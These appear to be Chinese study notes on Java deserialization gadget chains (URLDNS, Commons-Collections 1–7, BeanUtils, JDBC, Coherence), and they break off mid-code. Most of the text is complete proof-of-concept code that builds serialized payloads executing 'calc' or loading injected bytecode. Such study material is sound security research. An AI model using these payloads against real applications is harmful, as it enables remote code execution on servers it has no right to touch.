URLDNS

HashMap 的 readObject 方法可以调用到任何一个类的 hashCode 方法，只需要把拥有 hashCode 方法的对象当作键名添加进 HashMap 即可，比如我要通过 HashMap#readObject 调用 URL#hashCode，我只需要实例化一个URL对象比如为 urlObject，然后以对象为键名添加进 HashMap，HashMap.put(urlObject,"ky0116")
URL.handler 属性是transient 修饰的，按理是无法进行反序列化的，但是URL类编写了一个 readResolve 方法，这方法会重新创建出一个 URL 对象，然后替换已经反序列化出来的 URL 对象，而重新创建出来的 URL 对象是存在 handler 属性的！而在 readResolve 方法重新创建 URL 对象中关键是 URL.authority 属性指定我们的 dnslog 地址。跟一下 URL#readObject->URL#readResolve->URL#fabricateNewURL->URL#reconstituteUrlString链就知道了，这条链就是重新创建 URL 对象的过程！
HashMap#put 会触发 dnslog，为了防止在构造时触发 dnslog 导致误判，这里可以先put一个URL对象进去，然后再反射对 hashCode、authority 赋值

package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;/*
* Gadget:
*   HashMap#readObject
*     URL#hashCode
*       URLStreamHandler#hashCode
*         URLStreamHandler#getHostAddress
*
* */public class URLDNSPOC {public static void main(String[] args) throws Exception{URL url = new URL("http://");HashMap hashMap = new HashMap();hashMap.put(url,"h");reflectSetField(url,"hashCode",-1);  //经过 Hash.put 之后会对URL的hashCode值进行改变,此处要重新反射赋值reflectSetField(url,"authority","vyaz78.dnslog.cn");  //为了防止在构造POC时触发dnslog,这里先put一个URL对象再反射对authority赋值byte[] bytes = serializeObject(hashMap);unSerializeObject(bytes);}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}
}

commons-collections01

InvokerTransformer#transform可以进行动态方法调用
ConstantTransformer#transform返回一个实例对象
ChainedTransformer#transform可以调用一连串transform方法
AnnotationInvocationHandler#invoke方法可以调用到get方法
通过代理操作可以调用到AnnotationInvocationHandler#invoke方法
构造TransformedMap链时需要往HashMap实例中添加一个value键，为的是满足 if (var7 != null) 条件，Retention注解的memberTypes的键为value，所以HashMap元素的键需要是value
传入AnnotationInvocationHandler的注解需要存在memberTypes属性
通过AnnotationInvocationHandler#readObject方法的this.memberValues.entrySet().iterator().next().setValue()可以调用到TransformedMap#checkSetValue方法！但是存在条件6即第六点！
commons-collections01链在 JDK8u71 之后无法再进行利用，原因是AnnotationInvocationHandler#readObject逻辑发生了改变！
3版本的依赖和4版本的依赖都可以使用，改变一下TransformedMap/LazyMap对象的产生方式即可！

疑问的地方：

LazyMap链的触发点不应该是 this.memberValues.entrySet() 吗？然而调试发现并不是从这个断点进入的命令执行，而是从 (Entry)var4.next() 方法进入的！
TransformedMap链的HashMap实例需要存在value键，否则无法通过 if (var7 != null) 条件，具体为什么HashMap的键值对应着AbstractInputCheckedMapDecorator.MapEntry的键值还没深入分析！

package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
/*
* Gadget:
*   AnnotationInvocationHandler#readObject
*     AnnotationInvocationHandler#invoke
*       LazyMap#get
*         ChainedTransformer#transform
*           ConstantTransformer#transform
*             InvokerTransformer#transform
* */
public class Collections01PocLazyMap {public static void main(String[] args) throws Exception{Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, obj);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);reflectSetField(chainedTransformer,"iTransformers",transformer);byte[] bytes = serializeObject(invocationHandler);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/** Gadget:*   AnnotationInvocationHandler#readObject*     TransformedMap#setValue*       TransformedMap#checkSetValue*         ChainedTransformer#transform*           ConstantTransformer#transform*             InvokerTransformer#transform* */
public class Collections01PocTransformedMap {public static void main(String[] args) throws Exception{Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});HashMap hashMap = new HashMap();hashMap.put("value","ky0116");TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);reflectSetField(chainedTransformer,"iTransformers",transformer);byte[] bytes = serializeObject(obj);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

commons-collections06

commons-collections01因为AnnotationInvocationHandler#readObject的逻辑在JDK8U71之后发生了改变，导致无法在高版本下利用，而commons-collections06就解决了高版本无法利用的问题
HashMap#readObject方法可以调用任意类的hashCode方法，在URLDNS也写过了
TiedMapEntry#hashCode 可以调用任意类的get方法，只需要把 this,map 属性赋值为需要调用get方法的类对象即可
3版本的依赖和4版本的依赖都可以使用，改变一下TransformedMap/LazyMap对象的产生方式即可！

package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/** Gadget:*   HashMap#readObject*     TiedMapEntry#hashCode*       TiedMapEntry#getValue*         LazyMap#get*           ChainedTransformer#transform*             ConstantTransformer#transform*             InvokerTransformer#transform* */
public class Collections06Poc {public static void main(String[] args) throws Exception{Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");HashMap hashMap = new HashMap();hashMap.put(tiedMapEntry,"ky0116");reflectSetField(tiedMapEntry,"map",lazyMap);reflectSetField(chainedTransformer,"iTransformers",transformer);byte[] bytes = serializeObject(hashMap);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

commons-collections02

TransformingComparator#compare可以调用到任意类的transform方法，配合PriorityQueue#readObject方法使用
直接操作PriorityQueue类queue[]属性无法把元素添加进PriorityQueue类，需要前面有add操作之后再对queue[]属性操作
PriorityQueue.add 方法会触发transform方法，如果触发的是InvokerTransformer#transform方法，则需要往iMethodName属性赋值为toString，不至于在add时触发InvokerTransformer#transform方法动态调用然后找不到方法！
TemplatesImpl#newTransformer 方法会对_bytecodes属性的字节码进行实例化，条件是_name属性不为空且_bytecodes属性的字节码对应的父类为AbstractTranslet类！
通过ClassPool动态创建一个恶意类，恶意类静态代码块存在恶意代码，利用TransformingComparator#compare调用InvokerTransformer#transform方法进行动态调用恶意类任意方法，这里调用到的恶意类是TemplatesImpl，调用到的方法是newTransformer
commons-collections02在commons-collections依赖版本为4才可以用，因为在3版本中TransformingComparator没有首先Serializable接口，也就不可以进行序列化了！
queue[]属性是transient修饰符修饰的，应该是无法进行序列化/反序列化的，但是这里PriorityQueue#readObject和PriorityQueue#writeObject方法进行了手工写入和读取queue[]属性
在高版本JDK中可以使用

package com.javasec.poc;import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/** Gadget:*   PriorityQueue#readObject*     TransformingComparator#compare*       InvokerTransformer#transform*         TemplatesImpl#newTransformer* */
public class Collections02Poc {public static void main(String[] args) throws Exception{TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();//templatesImpl.newTransformer();InvokerTransformer invokerTransformer = new InvokerTransformer("toString",new Class[]{},new Object[]{});PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(invokerTransformer));priorityQueue.add("1");priorityQueue.add("1");Field field = priorityQueue.getClass().getDeclaredField("queue");field.setAccessible(true);Object[] queue = (Object[]) field.get(priorityQueue);queue[0] = templatesImpl;queue[1] = "ky0116";reflectSetField(invokerTransformer,"iMethodName","newTransformer");byte[] bytes = serializeObject(priorityQueue);unSerializeObject(bytes);}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}
}
====================================================================
package com.javasec.tools;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.CtClass;import java.lang.reflect.Field;public class CreateTemplate {public static TemplatesImpl createTemplatesImpl() throws Exception{ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(Evil.class));classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));final CtClass clazzEvil = classPool.get(Evil.class.getName());clazzEvil.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");CtClass clazzAbstract = classPool.get(AbstractTranslet.class.getName());clazzEvil.setSuperclass(clazzAbstract);byte[] bytes = clazzEvil.toBytecode();TemplatesImpl templates = new TemplatesImpl();reflectSetField(templates,"_name","ky0117");reflectSetField(templates,"_bytecodes",new byte[][]{bytes});return templates;}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}
======================================================================
package com.javasec.tools;public class Evil{
}

commons-collections03

InstantiateTransformer#transform方法可以实例化任意一个类，也就是可以调用Class#newInstance方法
TrAXFilter类的构造方法可以调用到TemplatesImpl#newTransformer方法进而实例化_bytecodes恶意字节码对象触发静态代码块里的恶意代码！
3版本的依赖和4版本的依赖都可以使用，改变一下TransformedMap/LazyMap对象的产生方式即可！
这条链是通过1链变化过来的，所以高版本JDK下也是用不了的

package com.javasec.poc;import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
/** Gadget:*   AnnotationInvocationHandler#readObject*     AnnotationInvocationHandler#invoke*       LazyMap#get*         ChainedTransformer#transform*           ConstantTransformer#transform*             InstantiateTransformer#transform*               TrAXFilter#newInstance* */
public class Collections03Poc {public static void main(String[] args) throws Exception{TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();Transformer[] transformer = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, obj);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);reflectSetField(chainedTransformer,"iTransformers",transformer);byte[] bytes = serializeObject(invocationHandler);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

commons-collections04

这条链是通过2链变化过来的，所以只能用于4版本的依赖，当然高版本下JDK可以使用
这里其实就是把2链的InvokerTransformer换为了ChainedTransformer，效果都是一样的就是调用TemplatesImpl#newTransformer方法！

package com.javasec.poc;import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class Collections04Poc {public static void main(String[] args) throws Exception{TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(chainedTransformer));priorityQueue.add("1");priorityQueue.add("1");Field field = priorityQueue.getClass().getDeclaredField("queue");field.setAccessible(true);Object[] queue = (Object[]) field.get(priorityQueue);queue[0] = templatesImpl;queue[1] = "ky0116";reflectSetField(chainedTransformer,"iTransformers",transformers);byte[] bytes = serializeObject(priorityQueue);unSerializeObject(bytes);}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}
}

commons-collections05

这条链跟commons-collections06链差不多，就是把BadAttributeValueExpException替换掉HashMap即可！
这条链在3、4版本依赖都可以使用

package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;/** Gadget:*   BadAttributeValueExpException#readObject*     TiedMapEntry#toString*       TiedMapEntry#getValue*         LazyMap#get*           ChainedTransformer#transform*             ConstantTransformer#transform*             InvokerTransformer#transform* */
public class Collections05Poc {public static void main(String[] args) throws Exception{Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);LazyMap lazyMap = LazyMap.lazyMap(new HashMap(), chainedTransformer);  //4版本的构造TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);reflectSetField(tiedMapEntry,"map",lazyMap);reflectSetField(chainedTransformer,"iTransformers",transformer);reflectSetField(badAttributeValueExpException,"val",tiedMapEntry);byte[] bytes = serializeObject(badAttributeValueExpException);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

commons-collections07

"yy".hashCode()=="zZ".hashCode()，Integer的hashCode方法返回值为数值本身
只需要构造HashTable的两个LazyMap的hash值相等则可以调用到AbstractMapDecorator#equals和AbstractMap#equals方法
构造相同hash的LazyMap时，LazyMap的HashMap不能put两个一样字符串为键的元素进去，因为这样的话反序列化Hashtable时获取到的elements值为1，则只调用一次reconstitutionPut方法，进而无法调用equeals方法，原因可以跟进一下Hashtable#put方法！
在HashTable#put完元素之后HashMap的lazyMap02的键会有两个，分别是 zZ/yy，需要手动移除yy键，保留原来的zZ键即可，如果不移除的话在AbstractMap#equals方法会满足 if (m.size() != size())条件直接返回。至于为什么会多了一个键，跟进一下AbstractMap#equals->LazyMap#get链就行
这条链在3/4版本的依赖都可以使用

package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
/** Gadget:*   Hashtable#readObject*     AbstractMapDecorator#equals*       AbstractMap#equals*         LazyMap#get*           ChainedTransformer#transform*             ConstantTransformer#transform*             InvokerTransformer#transform* */
public class Collections07Poc {public static void main(String[] args) throws Exception{Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});HashMap hashMap01 = new HashMap();hashMap01.put("yy",1);HashMap hashMap02 = new HashMap();hashMap02.put("zZ",1);
//        LazyMap lazyMap01 = (LazyMap) LazyMap.decorate(hashMap01,chainedTransformer);
//        LazyMap lazyMap02 = (LazyMap) LazyMap.decorate(hashMap02,chainedTransformer);LazyMap lazyMap01 = LazyMap.lazyMap(hashMap01, chainedTransformer);LazyMap lazyMap02 = LazyMap.lazyMap(hashMap02, chainedTransformer);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap01,"ky01171");hashtable.put(lazyMap02,"ky01172");reflectSetField(chainedTransformer,"iTransformers",transformer);hashMap02.remove("yy");byte[] bytes = serializeObject(hashtable);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

Beanutils

BeanComparator#compare方法可以调用到任意一个类的getXXX方法
TemplatesImpl#getOutputProperties方法可以调用到TemplatesImpl#newTransformer方法
这条链依赖的是 commons-beanutils ,在 1.9.4 版本亦可使用，可以在高版本JDK使用

package com.javasec.pocs;import com.javasec.utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
/** Gadget:*   PriorityQueue#readObject*     BeanComparator#compare*       TemplatesImpl#getOutputProperties*         TemplatesImpl#newTransformer* 1. 这条链依赖的是 commons-beanutils ,在 1.9.4 版本亦可使用* 2. 可以在高版本使用* */
public class BeanutilsPoc {public static byte[] getSerializeData() throws Exception{// 创建恶意 TemplatesImpl 对象,_bytecodes 属性装载着恶意字节码TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();// 创建比较器BeanComparator beanComparator = new BeanComparator();PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);// 先用 add 添加元素,否则后面对 queue[] 数组的操作无法把真正的元素添加到 priorityQueue 中priorityQueue.add("1");priorityQueue.add("1");// 反射获取 queue[] 数组Object[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");queue[0] = templatesImpl;queue[1] = "ky0116";// 最后反射对字段进行赋值,防止在构造payload时触发GadgetReflect.reflectSetField(beanComparator,"property","outputProperties");byte[] bytes = SerWithUnSer.serializeObject(priorityQueue);return bytes;}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SaveSerializeData.save(bytes);SerWithUnSer.unSerializeObject(bytes);}
}

JDBCUnserialize

JDBC连接代码中的queryInterceptors属性指定拦截器，在连接数据库时会调用拦截器的preProcess方法
在连接数据库时会向数据库发出 SHOW SESSION STATUS 查询，我们可以编写恶意mysql服务器，让 SHOW SESSION STATUS 查询结果返回我们精心构造的结果！
最后通过构造可以调用到ResultSetImpl#getObject方法，方法里面存在反序列化操作！
难点在于编写mysql服务器，这一块先放着先，后续补上！

Coherence01_CVE-2020-2555

BadAttributeValueExpException#readObject可以调用任意类的toString方法
ReflectionExtractor#extract存在动态方法调用
ChainedExtractor#extract可以调用一组extract方法
LimitFilter#toString可以调用到继承ValueExtractor接口任意类的extract方法

package com.javasec.pocs;import com.javasec.utils.ParseArgs;
import com.javasec.utils.Reflect;
